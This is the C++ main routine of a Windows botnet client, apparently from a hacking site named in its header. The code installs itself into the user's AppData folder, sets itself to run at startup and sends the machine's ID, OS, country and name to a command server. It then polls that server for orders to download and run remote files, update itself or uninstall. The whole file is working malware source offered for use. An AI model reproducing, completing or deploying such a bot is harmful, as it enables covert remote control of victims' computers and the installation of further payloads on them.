/*
coded by haRd
w3-hack.cc
visit us
*/



#ifndef w3bot_main
#define w3bot_main

#include "util.h"
#include "connection.h"
#include "bot.h"
#include "download.h"
#include "config.h"
#include <stdio.h>

using namespace std;


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szComdLine, int iCmdShow)
{
	if(!util::CheckMutex(MUTEX))
		return 0;
	// Bot doesn't run, so continue

	Connection Conn;
	Bot Client;
	information pcinfo;

	Client.Install("%appdata%/");
	Client.CreateStartup();

	pcinfo = Client.GetInfo();

	string answer;
	while(1)
	{
		// Unfortunately, switch doesn't work for strings, so i had to use if/else if constructions
		answer = Conn.Refresh(pcinfo.BotID, pcinfo.OS, pcinfo.Country, pcinfo.PCName);
		string command = Conn.GetParam(0);
		if(command == "dlex")
		{			
			Download Dl;
			if(Dl.Dload(Conn.GetParam(1)) == true)
			{
				if(Conn.GetParam(2) == "1")
					Dl.Exec(Conn.GetParam(3) );
			}
		}
		else if(command == "update")
		{
			Download Dl;
			if(Dl.Update(Conn.GetParam(1), Conn.GetParam(2), Client.installAppdata, Client.installAutostart) == true)
				return 0;			
		}
		else if(command == "uninstall")
		{
			
			Client.Uninstall();

			return 0;
		}
		Sleep(INTERVALL * 60 * 1000); // Converting to minutes
	}
	return 0;
}
#endif